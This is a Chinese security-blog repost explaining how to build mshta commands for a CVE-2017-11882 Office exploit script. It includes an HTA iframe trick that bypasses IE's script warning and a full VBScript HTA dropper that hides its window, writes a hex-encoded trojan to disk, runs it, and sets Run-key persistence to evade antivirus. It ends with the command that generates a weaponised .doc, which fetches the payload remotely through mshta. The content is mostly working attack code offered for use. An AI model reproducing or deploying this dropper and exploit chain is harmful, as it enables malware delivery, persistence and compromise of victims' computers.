安全路透社
当前位置:安全路透社 > 网络转载 > 正文

浅谈一下mshta在CVE-2017-11882里的命令构造

* 本文作者:lcx

Evi1cg同学前不久放出CVE-2017-11882的一个 python利用脚本,地址在https://github.com/Ridter/CVE-2017-11882/,不过其中一个版本里边有一个限制,执行命令只能用43个字节。如果要用43个字节来完成一个文件的下载执行,在我所掌握的命令行知识里,除了mshta命令,其它的好像都做不到。所以在这里我就浅谈一下如何构造这个mshta命令,另外提一下hta文件在安全方面的一个应用。

mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。mshta执行.hta文件,是以当前用户权限执行,hta文件可以随便改后缀,也可以本地或远程执行,本地执行的时候,要记得带全路径名,否则会出错。另外,mshta支持各种协议,甚至支持mk:@MSITStore协议或是ms-its协议。

timg.jpg

一、HTA文件 内嵌的html文件如何去除本地安全认证呢?

我们知道,html文件打开的宿主如果是IE,html文件里调用的是像Wscript.Shell此类组件的话,IE会弹一个框,限制运行脚本或Active控件。我们来验证一下,写代码1.htm如下:

<script language="VBSCRIPT">
  Dim FileSystem
  ' Creates the FileSystemObject
  Set FileSystem = CreateObject("Scripting.FileSystemObject")
</script>

1.png

如果我们用HTA文件来iframe这个1.htm,hta是本地用户权限,应当可以绕过此限制,如何绕呢?我们就要用到 iframe的一个参数了application=”yes”了。这样就不会弹阻止框了,可以干坏事了,1.hta代码如下: 

<html>
<head>
<title>Sample HTML Application one</title>
</head>
<body onload="Viewer.document.location.href='l.htm'">
<iframe id="Viewer" application="yes"><!--这里是去掉验证的关键--> 
</iframe>
</body>
</html>

二、如何写一个高效的下载执行过杀软的hta文件?

如果是下载执行的话,哪就很弱了。hta文件里可以自由地写vbscript代码,所以我们的思路是可以把你的木马转换成base64格式也好,转换成16进制也好再转回来,hta只是访问了一个网页而已,但是已经把木马转到本地了,具体代码1.hta可以如下:

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000 '让hta不可见
set fso=CreateObject("Scripting.FileSystemObject")
Set wscript.Createobject("WScript.Shell")
'注意在hta文件里不能调用wscript,如下行的代码会出错
'set ws= wscript.Createobject("WScript.Shell")
'用rundll32加启动项,这个过不了杀软主防,聊胜于无
regstr = "rundll32 javascript:""\..\mshtml,RunHTMLApplication "";window.execScript(""CreateObject('wscript.Shell').RegWrite 'HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ologin',CreateObject('Shell.Application').Namespace(&H1C).Self.Path & '\\muma.exe':window.close"",""vbs""); "
strs="4D5A900003000000040000"'你木马的16进制代码放在这里
fp=CreateObject("Shell.Application").Namespace(&H1C).Self.Path + "\muma.exe" '应当判断系统,找一个winxp-win10都可以写的目录,我这里只是poc,没有做过多判断
'下边函数用Microsoft.XMLDOM来还原16进制文件
Sub WriteBinary(FileName, Buf)
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim stream, xmldom, node
Set xmldom = CreateObject("Microsoft.XMLDOM")
Set node = xmldom.CreateElement("binary")
node.DataType = "bin.hex"
node.Text = Buf
Set stream = CreateObject("ADODB.Stream")
stream.Type = adTypeBinary
stream.Open
stream.write node.NodeTypedValue
stream.saveToFile FileName, adSaveCreateOverWrite
stream.Close
Set stream = Nothing
Set node = Nothing
Set xmldom = Nothing
End Sub
'判断文件是否存在
Function Findfile(str)
If fso.FileExists(str) Then
Findfile = True
Else
Findfile = False
End If
End Function
'不存在就写木马
If Findfile(fp)=False then
WriteBinary fp, Strs
End if
'木马文件存在就执行。休息一下加注册表启动项
If Findfile(fp)=True then
ws.exec fp
wScript.Sleep(2000)
ws.run regstr,0
End if
'ws.DeleteFile(wscript.scriptfullname),如果这个是vbs文件,可以删除自身,hta文件放在远程就没有必要了
self.close
</script>
<body>
</body>
</HEAD> 
</HTML>

然后,你可以把这个1.hta改名1.xml之类的文件放在远程空间了,直接mshta http://www.site.xom/1.xml,就可以了。如果是利用CVE-2017-11882.py,哪么直接执行下边命令就生成了,其中http://site.com/1.xml你可以换成短网址。

python27 Command_CVE-2017-11882.py -c "mshta http://site.com/1.xml" -o test.doc

下图是我做的测试图。

2.png

* 本文作者:lcx

未经允许不得转载:安全路透社 » 浅谈一下mshta在CVE-2017-11882里的命令构造

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册